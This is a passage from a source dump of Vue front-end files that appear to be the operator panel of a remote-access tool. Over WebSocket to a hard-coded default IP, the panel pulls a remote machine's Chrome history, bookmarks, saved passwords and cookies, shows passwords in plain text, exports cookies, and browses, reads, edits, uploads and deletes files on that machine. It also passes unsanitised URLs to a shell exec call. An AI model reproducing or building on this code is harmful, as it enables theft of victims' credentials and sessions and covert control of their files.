77 |       e.target.currentSrc = this.chrome;
78 |     },
79 |   },
80 | };
81 | </script>
82 | 
83 | <style>
84 | </style>


--------------------------------------------------------------------------------
/src/views/browser/history.vue:
--------------------------------------------------------------------------------
 1 | <!--
 2 |  * @Description: 
 3 |  * @Version: 1.0
 4 |  * @Autor: solid
 5 |  * @Date: 2022-11-09 15:37:32
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-11-09 15:40:02
 8 | -->
 9 | <template>
10 |   <div>
11 |     <div v-for="(item, index) in tableData" :key="index">
12 |       <el-card v-if="item.title" style="cursor: pointer; margin: 5px 0">
13 |         <div
14 |           style="
15 |             display: flex;
16 |             justify-content: space-between;
17 |             align-items: center;
18 |           "
19 |           @click="openDefaultBrowser(item.url)"
20 |         >
21 |           <div style="display: flex; align-items: center">
22 |             <img
23 |               :src="item.ico"
24 |               alt=""
25 |               srcset=""
26 |               style="width: 2em; object-fit: contain; margin-right: 10px"
27 |               :onerror="chrome"
28 |             />
29 |             <div
30 |               style="
31 |                 width: 60vw;
32 |                 white-space: nowrap;
33 |                 overflow: hidden;
34 |                 text-overflow: ellipsis;
35 |               "
36 |             >
37 |               {{ item.title }}
38 |             </div>
39 |           </div>
40 |           <div>
41 |             <img
42 |               :src="chrome"
43 |               alt=""
44 |               srcset=""
45 |               style="width: 2em; object-fit: contain; margin-right: 10px"
46 |               :onerror="chrome"
47 |             />
48 |           </div>
49 |         </div>
50 |       </el-card>
51 |     </div>
52 |   </div>
53 | </template>
54 | 
55 | <script>
56 | export default {
57 |   name: "history",
58 |   props: {
59 |     tableData: {
60 |       default: [],
61 |     },
62 |   },
63 |   data() {
64 |     return {
65 |         chrome: 'this.src="' + require("@/assets/chrome.png") + '"',
66 |     }
67 |   },
68 |   methods: {
69 |     openDefaultBrowser(url) {
70 |       var exec = window.require("child_process").exec;
71 |       exec("start " + url);
72 |     },
73 |      //设置默认图片
74 |     setDefaultImage(e) {
75 |       e.target.currentSrc = this.chrome;
76 |     },
77 |   },
78 | };
79 | </script>
80 | 
81 | <style>
82 | </style>


--------------------------------------------------------------------------------
/src/views/browser/index.vue:
--------------------------------------------------------------------------------
  1 | <template>
  2 |   <div>
  3 |     <el-card class="box-card" style="min-height: 78vh">
  4 |       <div slot="header" class="clearfix">
  5 |         <div
  6 |           style="
  7 |             display: flex;
  8 |             justify-content: space-between;
  9 |             align-items: center;
 10 |           "
 11 |         >
 12 |           <div>
 13 |             <span>{{ titleList[SendData.operation] }}</span>
 14 |           </div>
 15 |           <div style="display: flex">
 16 |             <el-button
 17 |               style="padding: 3px 0; margin-right: 20px"
 18 |               type="text"
 19 |               @click="downloadCookie"
 20 |               v-if="SendData.operation == 'cookie'"
 21 |               >cookie下载
 22 |             </el-button>
 23 |             <el-button
 24 |               style="padding: 3px 0; margin-right: 20px"
 25 |               type="text"
 26 |               @click="loadData, $message.success('刷新成功')"
 27 |               >刷新数据
 28 |             </el-button>
 29 |             <div>
 30 |               <el-select
 31 |                 v-model="SendData.operation"
 32 |                 placeholder="请选择"
 33 |                 @change="ChangeOption"
 34 |               >
 35 |                 <el-option
 36 |                   v-for="item in browserOptions"
 37 |                   :key="item.value"
 38 |                   :label="item.label"
 39 |                   :value="item.value"
 40 |                 >
 41 |                 </el-option>
 42 |               </el-select>
 43 |             </div>
 44 |           </div>
 45 |         </div>
 46 |       </div>
 47 |       <div ref="fileManage" style="height: 60vh; overflow: auto">
 48 |         <div v-if="SendData.operation == 'all'">
 49 |           <el-collapse v-model="operation" accordion>
 50 |             <el-collapse-item title="Chorme历史记录" name="history">
 51 |               <history :tableData="tableData" />
 52 |             </el-collapse-item>
 53 |             <el-collapse-item title="Chorme书签" name="bookmarks">
 54 |               <bookmarks :bookmarksData="bookmarksData" />
 55 |             </el-collapse-item>
 56 |             <el-collapse-item title="Chorme存储的账号密码" name="password">
 57 |               <PASSWORD :passwordData="passwordData" />
 58 |             </el-collapse-item>
 59 |             <el-collapse-item title="Chorme存储的cookie" name="cookie">
 60 |               <COOKIE :cookieData="cookieData" />
 61 |             </el-collapse-item>
 62 |           </el-collapse>
 63 |         </div>
 64 |         <div v-else>
 65 |           <history
 66 |             v-if="SendData.operation == 'history'"
 67 |             :tableData="tableData"
 68 |           />
 69 |           <bookmarks
 70 |             v-if="SendData.operation == 'bookmarks'"
 71 |             :bookmarksData="bookmarksData"
 72 |           />
 73 |           <PASSWORD
 74 |             v-if="SendData.operation == 'password'"
 75 |             :passwordData="passwordData"
 76 |           />
 77 |           <COOKIE
 78 |             v-if="SendData.operation == 'cookie'"
 79 |             :cookieData="cookieData"
 80 |           />
 81 |         </div>
 82 |       </div>
 83 |     </el-card>
 84 |   </div>
 85 | </template>
 86 | 
 87 | <script>
 88 | import history from "./history.vue";
 89 | import bookmarks from "./bookmarks.vue";
 90 | import PASSWORD from "./password.vue";
 91 | import COOKIE from "./cookie.vue";
 92 | export default {
 93 |   name: "browser",
 94 |   components: {
 95 |     history,
 96 |     bookmarks,
 97 |     PASSWORD,
 98 |     COOKIE,
 99 |   },
100 |   data() {
101 |     return {
102 |       socketURI: "",
103 |       //历史记录
104 |       tableData: [],
105 |       //书签相关
106 |       bookmarksData: [],
107 |       //密码
108 |       passwordData: [],
109 |       //cookie
110 |       cookieData: [],
111 |       cookieContent: [],
112 |       SendData: {
113 |         operation: "history",
114 |       },
115 |       operation: "history",
116 |       titleList: {
117 |         history: "Chorme历史记录",
118 |         bookmarks: "Chorme书签",
119 |         password: "Chorme存储的账号密码",
120 |         cookie: "Chorme存储的cookie",
121 |       },
122 |       browserOptions: [
123 |         { label: "全部", value: "all" },
124 |         { label: "书签", value: "bookmarks" },
125 |         { label: "历史记录", value: "history" },
126 |         { label: "存储的账号密码", value: "password" },
127 |         { label: "cookie", value: "cookie" },
128 |       ],
129 |     };
130 |   },
131 |   created() {
132 |     var room = this.$route.query.roomID;
133 |     var ipaddr = localStorage.getItem("ipaddr")
134 |       ? localStorage.getItem("ipaddr")
135 |       : "101.34.204.112:7880";
136 |     this.socketURI = `ws://${ipaddr}/browser?room=${room}`;
137 |     this.initSocket();
138 |   },
139 | 
140 |   methods: {
141 |     /**
142 |      * 书签
143 |      */
144 |     filterBookmarksData(rows) {
145 |       var items = [];
146 |       for (const row of rows) {
147 |         if (row.type == "folder") {
148 |           items.push({
149 |             label: row.name,
150 |             type: row.type,
151 |             children: this.filterBookmarksData(row.children),
152 |           });
153 |         } else {
154 |           items.push({
155 |             label: row.name,
156 |             url: row.url,
157 |             type: row.type,
158 |             ico: row.ico,
159 |           });
160 |         }
161 |       }
162 |       return items;
163 |     },
164 |     /**
165 |      * cookie
166 |      */
167 |     downloadCookie() {
168 |       var aTag = document.createElement("a");
169 |       aTag.download = "cookie.json";
170 |       const contentType = "text/plain;charset=utf-8";
171 |       var blob = new Blob([JSON.stringify(this.cookieContent)], {
172 |         type: contentType,
173 |       });
174 |       aTag.href = URL.createObjectURL(blob);
175 |       aTag.click();
176 |     },
177 |     ChangeOption(e) {
178 |       this.SendData.operation = e;
179 |       this.socket.send(JSON.stringify(this.SendData));
180 |       this.$refs.fileManage.scrollTop = 0;
181 |     },
182 |     loadData() {
183 |       this.socket.send(JSON.stringify(this.SendData));
184 |     },
185 |     /**
186 |      * socket相关操作
187 |      */
188 |     initSocket() {
189 |       this.socket = new WebSocket(this.socketURI);
190 |       this.socketOnOpen();
191 |       this.socketOnMessage();
192 |       this.socketOnError();
193 |       this.socketOnClose();
194 |     },
195 | 
196 |     socketOnOpen() {
197 |       this.socket.onopen = () => {
198 |         this.socket.send(JSON.stringify(this.SendData));
199 |       };
200 |     },
201 |     socketOnMessage() {
202 |       this.socket.onmessage = (msg) => {
203 |         if (msg.data instanceof Blob) {
204 |           const reader = new FileReader();
205 |           reader.readAsText(msg.data, "UTF-8");
206 |           reader.onload = (e) => {
207 |             let result = reader.result;
208 |             let res = JSON.parse(result);
209 |             if (res.data instanceof String) {
210 |               this.$message.error(res.data);
211 |             } else {
212 |               if (res.operation == "history") {
213 |                 this.tableData = res.data;
214 |               } else if (res.operation == "bookmarks") {
215 |                 this.bookmarksData = this.filterBookmarksData(res.data);
216 |               } else if (res.operation == "password") {
217 |                 this.passwordData = res.data;
218 |               } else if (res.operation == "cookie") {
219 |                 res.data.sort(function (p1, p2) {
220 |                   return p1.domain.localeCompare(p2.domain, "zh-CN"); //正序
221 |                 });
222 |                 this.cookieContent = res.data;
223 |                 this.cookieData = res.data.slice(0, 50);
224 |               } else {
225 |                 this.tableData = res.data["history"];
226 |                 this.bookmarksData = this.filterBookmarksData(res.data["bookmarks"]);
227 |                 this.passwordData = res.data["password"];
228 |                 res.data["cookie"].sort(function (p1, p2) {
229 |                   return p1.domain.localeCompare(p2.domain, "zh-CN"); //正序
230 |                 });
231 |                 this.cookieData = res.data["cookie"].slice(0, 50);
232 |               }
233 |             }
234 |           };
235 |         }
236 |       };
237 |     },
238 |     socketOnClose() {
239 |       this.socket.onclose = () => {
240 |         console.log("close socket");
241 |       };
242 |     },
243 |     socketOnError() {
244 |       this.socket.onerror = () => {
245 |         console.log("socket 链接失败");
246 |       };
247 |     },
248 |   },
249 | };
250 | </script>
251 | 
252 | <style scoped>
253 | ::v-deep .el-range-separator {
254 |   padding: 0px;
255 | }
256 | ::v-deep .el-input__inner {
257 |   border-radius: 0px;
258 | }
259 | ::v-deep .el-table th > .cell {
260 |   cursor: pointer;
261 | }
262 | ::v-deep .el-table tr {
263 |   cursor: pointer;
264 | }
265 | ::v-deep .el-tree-node__content {
266 |   height: auto;
267 | }
268 | .demo-table-expand {
269 |   font-size: 0;
270 | }
271 | .demo-table-expand label {
272 |   width: 90px;
273 |   color: #99a9bf;
274 | }
275 | .demo-table-expand .el-form-item {
276 |   margin-right: 0;
277 |   margin-bottom: 0;
278 |   width: 50%;
279 | }
280 | ::v-deep .el-form-item__label {
281 |   font-size: 18px;
282 | }
283 | .dialog-footer {
284 |   display: flex;
285 |   width: 100%;
286 |   justify-content: flex-end;
287 | }
288 | </style>
289 | 


--------------------------------------------------------------------------------
/src/views/browser/password.vue:
--------------------------------------------------------------------------------
 1 | <!--
 2 |  * @Description: 
 3 |  * @Version: 1.0
 4 |  * @Autor: solid
 5 |  * @Date: 2022-11-09 15:37:32
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-11-09 16:20:27
 8 | -->
 9 | <template>
10 |   <div>
11 |     <div v-for="(item, index) in passwordData" :key="index">
12 |       <el-card  style="cursor: pointer; margin: 5px 0" v-if="item.username">
13 |         <div
14 |           style="
15 |             display: flex;
16 |             justify-content: space-between;
17 |             align-items: center;
18 |           "
19 |           @click="openDefaultBrowser(item.url)"
20 |         >
21 |           <div style="display: flex; align-items: center">
22 |             <img
23 |               :src="item.ico?item.ico:chrome"
24 |               alt=""
25 |               srcset=""
26 |               style="width: 2em; object-fit: contain; margin-right: 10px"
27 |               :onerror="chrome"
28 |             />
29 |             <div>
30 |               <div>用户名: {{ item.username }}</div>
31 |               <div>密码:{{ item.password }}</div>
32 |             </div>
33 |           </div>
34 |           <div style="display: flex; align-items: center;">
35 |             <div style="margin-right:20px">
36 |                  {{ item.url }}
37 |             </div>
38 |             <img
39 |               :src="chrome"
40 |               alt=""
41 |               srcset=""
42 |               style="width: 2em; object-fit: contain; margin-right: 10px"
43 |               :onerror="chrome"
44 |             />
45 |           </div>
46 |         </div>
47 |       </el-card>
48 |     </div>
49 |   </div>
50 | </template>
51 | 
52 | <script>
53 | export default {
54 |   name: "PASSWORD",
55 |   props: {
56 |     passwordData: {
57 |       default: [],
58 |     },
59 |   },
60 |   created() {
61 |     console.log(this.passwordData)
62 |   },
63 |   data() {
64 |     return {
65 |       chrome: 'this.src="' + require("@/assets/chrome.png") + '"',
66 |     };
67 |   },
68 |   methods: {
69 |     openDefaultBrowser(url) {
70 |       var exec = window.require("child_process").exec;
71 |       exec("start " + url);
72 |     },
73 |     //设置默认图片
74 |     setDefaultImage(e) {
75 |       e.target.currentSrc = this.chrome;
76 |     },
77 |   },
78 | };
79 | </script>
80 | 
81 | <style>
82 | </style>


--------------------------------------------------------------------------------
/src/views/filemanage/index.vue:
--------------------------------------------------------------------------------
  1 | <template>
  2 |   <div v-loading.fullscreen.lock="fileContentLoading || fileDownloadLoading">
  3 |     <el-card class="box-card" style="min-height: 78vh">
  4 |       <div slot="header" class="clearfix">
  5 |         <div
  6 |           style="
  7 |             display: flex;
  8 |             justify-content: space-between;
  9 |             align-items: center;
 10 |           "
 11 |         >
 12 |           <div>
 13 |             <span>文件管理</span>
 14 |             <div style="margin-top: 10px">
 15 |               <el-input
 16 |                 v-model="currentPath"
 17 |                 auto-complete="off"
 18 |                 style="width: 400px"
 19 |                 :placeholder="currentPath"
 20 |                 @click.stop.native=""
 21 |               >
 22 |                 <el-button
 23 |                   slot="append"
 24 |                   icon="el-icon-position"
 25 |                   @click="ChangePath"
 26 |                 ></el-button>
 27 |               </el-input>
 28 |             </div>
 29 |           </div>
 30 |           <div>
 31 |             <el-button
 32 |               style="padding: 3px 0"
 33 |               type="text"
 34 |               @click="(showUpdateFormVisible = true), (file = '')"
 35 |               >上传</el-button
 36 |             >
 37 |             <el-button
 38 |               style="padding: 3px 0; margin-right: 20px"
 39 |               type="text"
 40 |               @click="loadData, $message.success('刷新成功')"
 41 |               >刷新数据
 42 |             </el-button>
 43 |           </div>
 44 |         </div>
 45 |       </div>
 46 |       <div>
 47 |         <el-button
 48 |           style="padding: 3px 0"
 49 |           type="text"
 50 |           :disabled="backwardPath.isEmpty()"
 51 |           @click="backwardMenu"
 52 |         >
 53 |           <img
 54 |             :src="leftIcon"
 55 |             alt=""
 56 |             srcset=""
 57 |             style="width: 2em; object-fit: contain; margin-right: 10px"
 58 |         /></el-button>
 59 |         <el-button
 60 |           style="padding: 3px 0"
 61 |           type="text"
 62 |           :disabled="forwardPath.isEmpty()"
 63 |           @click="forwardPathMenu"
 64 |         >
 65 |           <img
 66 |             :src="rightIcon"
 67 |             alt=""
 68 |             srcset=""
 69 |             style="width: 2em; object-fit: contain; margin-right: 10px"
 70 |         /></el-button>
 71 |       </div>
 72 |       <div ref="fileManage" style="height: 55vh; overflow: auto">
 73 |         <el-table
 74 |           :data="tableData"
 75 |           height="55vh"
 76 |           @row-click="fileOperations"
 77 |           @header-click="sortData"
 78 |         >
 79 |           <el-table-column label="名称" prop="fileName">
 80 |             <template slot-scope="scope">
 81 |               <div style="display: flex; align-items: center">
 82 |                 <img
 83 |                   :src="scope.row.IsDir ? folderIcon : fileIcon"
 84 |                   alt=""
 85 |                   srcset=""
 86 |                   style="width: 2.5em; object-fit: contain; margin-right: 10px"
 87 |                 />
 88 |                 <div>
 89 |                   {{ scope.row.fileName }}
 90 |                 </div>
 91 |               </div>
 92 |             </template>
 93 |           </el-table-column>
 94 |           <el-table-column
 95 |             label="最近使用时间"
 96 |             width="180"
 97 |             align="center"
 98 |             prop="accessTime"
 99 |           >
100 |             <template slot-scope="scope">
101 |               {{ scope.row.accessTime }}
102 |             </template>
103 |           </el-table-column>
104 |           <el-table-column
105 |             label="创建时间"
106 |             width="180"
107 |             align="center"
108 |             prop="createTime"
109 |           >
110 |             <template slot-scope="scope">
111 |               {{ scope.row.createTime }}
112 |             </template>
113 |           </el-table-column>
114 |           <el-table-column
115 |             label="修改时间"
116 |             width="180"
117 |             align="center"
118 |             prop="updateTime"
119 |           >
120 |             <template slot-scope="scope">
121 |               {{ scope.row.updateTime }}
122 |             </template>
123 |           </el-table-column>
124 |           <el-table-column
125 |             label="文件大小"
126 |             width="180"
127 |             align="center"
128 |             prop="size"
129 |           >
130 |             <template slot-scope="scope">
131 |               {{ !scope.row.IsDir ? scope.row.size : "" }}
132 |             </template>
133 |           </el-table-column>
134 |           <el-table-column label="" width="100px">
135 |             <template slot-scope="scope">
136 |               <div v-if="!scope.row.IsDir">
137 |                 <el-button
138 |                   style="padding: 3px 0"
139 |                   type="text"
140 |                   :disabled="scope.row.isUs"
141 |                   @click.stop.native="downloadFile(scope.row)"
142 |                   >下载</el-button
143 |                 >
144 |                 <el-button
145 |                   style="padding: 3px 0; color: red; margin-left: 20px"
146 |                   type="text"
147 |                   :disabled="scope.row.isUs"
148 |                   @click.stop.native="deleteFile(scope.row)"
149 |                   >删除</el-button
150 |                 >
151 |               </div>
152 |             </template>
153 |           </el-table-column>
154 |         </el-table>
155 |       </div>
156 |     </el-card>
157 |     <el-dialog
158 |       :title="fileName"
159 |       :visible.sync="dialogVisible"
160 |       @close="dialogVisible = false"
161 |     >
162 |       <div
163 |         v-if="dialogVisible"
164 |         style="
165 |           white-space: pre-wrap;
166 |           height: 60vh;
167 |           overflow: auto;
168 |           background: #f5f5f5;
169 |           border: 1px solid #eee;
170 |           padding: 20px;
171 |           border-radius: 10px;
172 |         "
173 |       >
174 |         <el-input
175 |           type="textarea"
176 |           autosize
177 |           placeholder="请输入内容"
178 |           v-model="fileContent"
179 |         >
180 |         </el-input>
181 |       </div>
182 |       <div slot="footer" class="dialog-footer">
183 |         <el-button type="primary" @click="uploadFileContent"
184 |           >修改文件</el-button
185 |         >
186 |       </div>
187 |     </el-dialog>
188 |     <el-dialog
189 |       title="文件上传"
190 |       :visible.sync="showUpdateFormVisible"
191 |       width="400px"
192 |       :modal-append-to-body="false"
193 |       center
194 |     >
195 |       <el-upload
196 |         action="#"
197 |         :auto-upload="false"
198 |         :on-change="handleChange"
199 |         :on-remove="removeFile"
200 |         v-if="showUpdateFormVisible"
201 |         drag
202 |         :limit="1"
203 |       >
204 |         <i class="el-icon-upload"></i>
205 |         <div class="el-upload__text">将文件拖到此处，或<em>点击上传</em></div>
206 |       </el-upload>
207 |       <span slot="footer" class="dialog-footer">
208 |         <el-button
209 |           @click.native="showUpdateFormVisible = false"
210 |           style="width: 140px"
211 |           >取消</el-button
212 |         >
213 |         <el-button type="primary" style="width: 140px" @click="uploadFile"
214 |           >上传文件</el-button
215 |         >
216 |       </span>
217 |     </el-dialog>
218 |   </div>
219 | </template>
220 | 
221 | <script>
222 | import { Stack } from "@/utils/statck.js";
223 | export default {
224 |   name: "Index",
225 |   data() {
226 |     return {
227 |       socketURI: "",
228 |       fileIcon: require("@/assets/file.png"),
229 |       folderIcon: require("@/assets/floderblue.png"),
230 |       leftIcon: require("@/assets/arrow-left.png"),
231 |       rightIcon: require("@/assets/arrow-right.png"),
232 |       tableData: [],
233 |       fileList: [],
234 |       folderList: [],
235 |       SendData: {
236 |         root: "/",
237 |         operation: "ls",
238 |         data: "",
239 |       },
240 |       fileContent: "",
241 |       fileName: "",
242 |       dialogVisible: false,
243 |       showUpdateFormVisible: false,
244 |       //路径相关
245 |       currentPath: "/",
246 |       oldPath: "/",
247 |       backwardPath: "",
248 |       forwardPath: "",
249 |       fileManage: "",
250 |       fileContentLoading: false,
251 |       fileDownloadLoading: false,
252 |       file: "",
253 |       showUploadList: true,
254 |       currentItem: "",
255 |       sortingWay: "fileName",
256 |       sortingWay2: "folder",
257 |     };
258 |   },
259 |   created() {
260 |     var room = this.$route.query.roomID;
261 |     var ipaddr = localStorage.getItem("ipaddr")
262 |       ? localStorage.getItem("ipaddr")
263 |       : "101.34.204.112:7880";
264 |     this.socketURI = `ws://${ipaddr}/file?room=${room}`;
265 |     this.initSocket();
266 |     // 初始化前进,返回栈
267 |     this.forwardPath = new Stack();
268 |     this.backwardPath = new Stack();
269 |   },
270 | 
271 |   methods: {
272 |     // 更换路径
273 |     ChangePath() {
274 |       if (this.oldPath == this.currentPath) {
275 |         return;
276 |       }
277 |       this.backwardPath.push(this.oldPath);
278 |       this.oldPath = this.currentPath;
279 |       this.SendData = {
280 |         root: this.currentPath,
281 |         operation: "ls",
282 |         data: "",
283 |       };
284 |       this.socket.send(JSON.stringify(this.SendData));
285 |     },
286 |     // 后退
287 |     backwardMenu() {
288 |       var path = this.backwardPath.pop();
289 |       this.forwardPath.push(this.currentPath);
290 |       this.currentPath = path;
291 |       this.oldPath = path;
292 | 
293 |       this.SendData = {
294 |         root: this.currentPath,
295 |         operation: "ls",
296 |         data: "",
297 |       };
298 |       this.socket.send(JSON.stringify(this.SendData));
299 | 
300 |       this.$refs.fileManage.scrollTop = 0;
301 |     },
302 |     // 前进
303 |     forwardPathMenu() {
304 |       var path = this.forwardPath.pop();
305 |       this.backwardPath.push(this.currentPath);
306 |       this.currentPath = path;
307 |       this.oldPath = path;
308 |       this.SendData = {
309 |         root: this.currentPath,
310 |         operation: "ls",
311 |         data: "",
312 |       };
313 |       this.socket.send(JSON.stringify(this.SendData));
314 |       this.$refs.fileManage.scrollTop = 0;
315 |     },
316 |     //单位换算
317 |     unitConversion(val) {
318 |       if (val === 0) return "0 B";
319 |       var k = 1024;
320 |       var sizes = ["B", "KB", "MB", "GB", "PB", "TB", "EB", "ZB", "YB"],
321 |         i = Math.floor(Math.log(val) / Math.log(k));
322 |       return (val / Math.pow(k, i)).toPrecision(3) + "" + sizes[i];
323 |     },
324 |     //文件操作
325 |     fileOperations(item) {
326 |       if (item.IsDir) {
327 |         this.SendData = {
328 |           root: item.root + item.fileName + "/",
329 |           operation: "ls",
330 |           data: "",
331 |         };
332 |         this.backwardPath.push(this.currentPath);
333 |         this.currentPath = item.root + item.fileName + "/";
334 |         this.socket.send(JSON.stringify(this.SendData));
335 |         this.$refs.fileManage.scrollTop = 0;
336 |       } else {
337 |         this.fileName = item.fileName;
338 |         this.SendData = {
339 |           root: item.root + item.fileName,
340 |           operation: "readFile",
341 |           data: "",
342 |         };
343 |         if (!item.readEnable) {
344 |           return this.$message.warning("文件太大无法读取!!!");
345 |         }
346 |         this.currentItem = item;
347 |         this.fileContentLoading = true;
348 |         this.socket.send(JSON.stringify(this.SendData));
349 |       }
350 |     },
351 |     //删除文件
352 |     deleteFile(item) {
353 |       this.$confirm("此操作将永久删除该文件, 是否继续?", "提示", {
354 |         confirmButtonText: "确定",
355 |         cancelButtonText: "取消",
356 |         type: "warning",
357 |       }).then(() => {
358 |         this.SendData = {
359 |           root: item.root + item.fileName,
360 |           operation: "delete",
361 |           data: "",
362 |         };
363 |         this.socket.send(JSON.stringify(this.SendData));
364 |       });
365 |     },
366 |     //下载文件
367 |     downloadFile(item) {
368 |       this.fileName = item.fileName;
369 |       this.SendData = {
370 |         root: item.root + item.fileName,
371 |         operation: "download",
372 |         data: "",
373 |       };
374 |       this.fileDownloadLoading = true;
375 |       this.socket.send(JSON.stringify(this.SendData));
376 |     },
377 |     //修改文件内容
378 |     uploadFileContent() {
379 |       this.SendData = {
380 |         root: this.currentItem.root + this.currentItem.fileName,
381 |         operation: "updataFile",
382 |         data: this.fileContent,
383 |       };
384 |       this.socket.send(JSON.stringify(this.SendData));
385 |       this.dialogVisible = false;
386 |     },
387 |     //排序
388 |     sortData(col) {
389 |       if (col.property == this.sortingWay) {
390 |         this.sortingWay2 = this.sortingWay2 == "folder" ? "file" : "folder";
391 |       } else {
392 |         this.sortingWay = col.property;
393 |       }
394 |       this.loadData();
395 |     },
396 |     initSocket() {
397 |       this.socket = new WebSocket(this.socketURI);
398 |       this.socketOnOpen();
399 |       this.socketOnMessage();
400 |       this.socketOnError();
401 |       this.socketOnClose();
402 |     },
403 | 
404 |     /**
405 |      * 文件上传
406 |      */
407 |     //上传前判断
408 |     removeFile() {
409 |       this.file = "";
410 |       this.showUploadList = true;
411 |     },
412 |     handleChange(file) {
413 |       this.file = file.raw;
414 |       if (file.raw) {
415 |         this.showUploadList = false;
416 |       }
417 |     },
418 |     uploadFile() {
419 |       if (!this.file) {
420 |         return this.$message.warning("必须要上传文件");
421 |       }
422 |       var reader = new FileReader();
423 |       var rawData = new ArrayBuffer();
424 |       reader.onload = (e) => {
425 |         const loading = this.$loading({
426 |           lock: true,
427 |           text: "文件上传中........",
428 |           spinner: "el-icon-loading",
429 |           background: "rgba(0, 0, 0, 0.7)",
430 |         });
431 |         const chunkSize = 20 * 1024 * 1024;
432 |         rawData = e.target.result;
433 |         var byteArray = new Uint8Array(rawData);
434 |         var total = byteArray.length;
435 |         //分块
436 |         var si = Math.ceil(total / chunkSize);
437 |         //文件区域
438 |         var fileArea = [];
439 |         for (let index = 0; index < si; index++) {
440 |           if (index == si - 1) {
441 |             fileArea.push({ start: index * chunkSize, end: total });
442 |           } else {
443 |             fileArea.push({
444 |               start: index * chunkSize,
445 |               end: chunkSize * (index + 1),
446 |             });
447 |           }
448 |         }
449 | 
450 |         for (let index = 0; index < fileArea.length; index++) {
451 |           const item = fileArea[index];
452 |           this.socket.send(byteArray.slice(item.start, item.end));
453 |         }
454 | 
455 |         this.socket.send(
456 |           JSON.stringify({
457 |             root: this.currentPath,
458 |             operation: "file_upload_end",
459 |             data: "",
460 |           })
461 |         );
462 |         this.SendData = {
463 |           root: this.currentPath,
464 |           operation: "ls",
465 |           data: "",
466 |         };
467 |         this.socket.send(JSON.stringify(this.SendData));
468 |         this.showUpdateFormVisible = false;
469 |         this.$message.success("上传成功");
470 |         loading.close();
471 |       };
472 |       this.socket.send(
473 |         JSON.stringify({
474 |           root: this.currentPath + this.file.name,
475 |           operation: "file_upload_start",
476 |           data: "",
477 |         })
478 |       );
479 |       setTimeout(() => {
480 |         reader.readAsArrayBuffer(this.file);
481 |       }, 500);
482 |     },
483 |     /**
484 |      * socket相关操作
485 |      */
486 |     loadData() {
487 |       this.SendData = {
488 |         root: this.currentPath,
489 |         operation: "ls",
490 |         data: "",
491 |       };
492 |       this.socket.send(JSON.stringify(this.SendData));
493 |     },
494 |     socketOnOpen() {
495 |       this.socket.onopen = () => {
496 |         this.socket.send(JSON.stringify(this.SendData));
497 |       };
498 |     },
499 |     socketOnMessage() {
500 |       this.socket.onmessage = (msg) => {
501 |         if (msg.data instanceof Blob) {
502 |           const reader = new FileReader();
503 |           if (this.SendData.operation == "readFile") {
504 |             reader.readAsText(msg.data, "UTF-8");
505 |             reader.onload = (e) => {
506 |               this.fileContent = reader.result;
507 |               this.dialogVisible = true;
508 |               this.fileContentLoading = false;
509 |             };
510 |           } else if (this.SendData.operation == "download") {
511 |             var aTag = document.createElement("a");
512 |             aTag.download = this.fileName;
513 |             aTag.href = URL.createObjectURL(msg.data);
514 |             aTag.click();
515 |             this.fileDownloadLoading = false;
516 |           } else {
517 |             reader.readAsText(msg.data, "UTF-8");
518 |             reader.onload = (e) => {
519 |               let result = reader.result;
520 |               try {
521 |                 let res = JSON.parse(result);
522 |                 var fileList = [],
523 |                   folderList = [];
524 |                 for (const f of res) {
525 |                   if (f.IsDir) {
526 |                     folderList.push(f);
527 |                   } else {
528 |                     f.size = this.unitConversion(f.size);
529 |                     fileList.push(f);
530 |                   }
531 |                 }
532 |                 switch (this.sortingWay) {
533 |                   case "fileName":
534 |                     folderList.sort(function (p1, p2) {
535 |                       return p1.fileName.localeCompare(p2.fileName, "zh-CN"); //正序
536 |                     });
537 |                     fileList.sort(function (p1, p2) {
538 |                       return p1.fileName.localeCompare(p2.fileName, "zh-CN"); //正序
539 |                     });
540 |                     break;
541 |                   case "accessTime":
542 |                     folderList.sort(function (p1, p2) {
543 |                       return p2.accessTime.localeCompare(p1.accessTime, "zh-CN"); //正序
544 |                     });
545 |                     fileList.sort(function (p1, p2) {
546 |                       return p2.accessTime.localeCompare(p1.accessTime, "zh-CN"); //正序
547 |                     });
548 |                     break;
549 |                   case "createTime":
550 |                     folderList.sort(function (p1, p2) {
551 |                       return p2.createTime.localeCompare(p1.createTime, "zh-CN"); //正序
552 |                     });
553 |                     fileList.sort(function (p1, p2) {
554 |                       return p2.createTime.localeCompare(p1.createTime, "zh-CN"); //正序
555 |                     });
556 |                     break;
557 |                   case "updateTime":
558 |                     folderList.sort(function (p1, p2) {
559 |                       return p2.updateTime.localeCompare(p1.updateTime, "zh-CN"); //正序
560 |                     });
561 |                     fileList.sort(function (p1, p2) {
562 |                       return p2.updateTime.localeCompare(p1.updateTime, "zh-CN"); //正序
563 |                     });
564 |                     break;
565 |                   case "size":
566 |                     folderList.sort(function (a, b) {
567 |                       return a.size - b.size; //正序
568 |                     });
569 |                     fileList.sort(function (a, b) {
570 |                       return a.size - b.size; //正序
571 |                     });
572 |                     break;
573 |                   default:
574 |                     break;
575 |                 }
576 |                 var tableData;
577 |                 if (this.sortingWay2 == "folder") {
578 |                   tableData = folderList.concat(...fileList);
579 |                 } else {
580 |                   tableData = fileList.concat(...folderList);
581 |                 }
582 |                 this.tableData = tableData;
583 |               } catch (err) {
584 |                 this.loadData();
585 |                 this.$message.info(result);
586 |               }
587 |             };
588 |           }
589 |         }
590 |       };
591 |     },
592 |     socketOnClose() {
593 |       this.socket.onclose = () => {
594 |         console.log("close socket");
595 |       };
596 |     },
597 |     socketOnError() {
598 |       this.socket.onerror = () => {
599 |         console.log("socket 链接失败");
600 |       };
601 |     },
602 |   },
603 | };
604 | </script>
605 | 
606 | <style scoped>
607 | ::v-deep .el-range-separator {
608 |   padding: 0px;
609 | }
610 | ::v-deep .el-input__inner {
611 |   border-radius: 0px;
612 | }
613 | ::v-deep .el-table th>.cell {
614 |    cursor: pointer;
615 | }
616 | ::v-deep  .el-table tr{
617 |    cursor: pointer;
618 | }
619 | .demo-table-expand {
620 |   font-size: 0;
621 | }
622 | .demo-table-expand label {
623 |   width: 90px;
624 |   color: #99a9bf;
625 | }
626 | .demo-table-expand .el-form-item {
627 |   margin-right: 0;
628 |   margin-bottom: 0;
629 |   width: 50%;
630 | }
631 | ::v-deep .el-form-item__label {
632 |   font-size: 18px;
633 | }
634 | .dialog-footer {
635 |   display: flex;
636 |   width: 100%;
637 |   justify-content: flex-end;
638 | }
639 | </style>
640 | 


--------------------------------------------------------------------------------
/src/views/index/Index.vue:
--------------------------------------------------------------------------------
  1 | <template>
  2 |   <div>
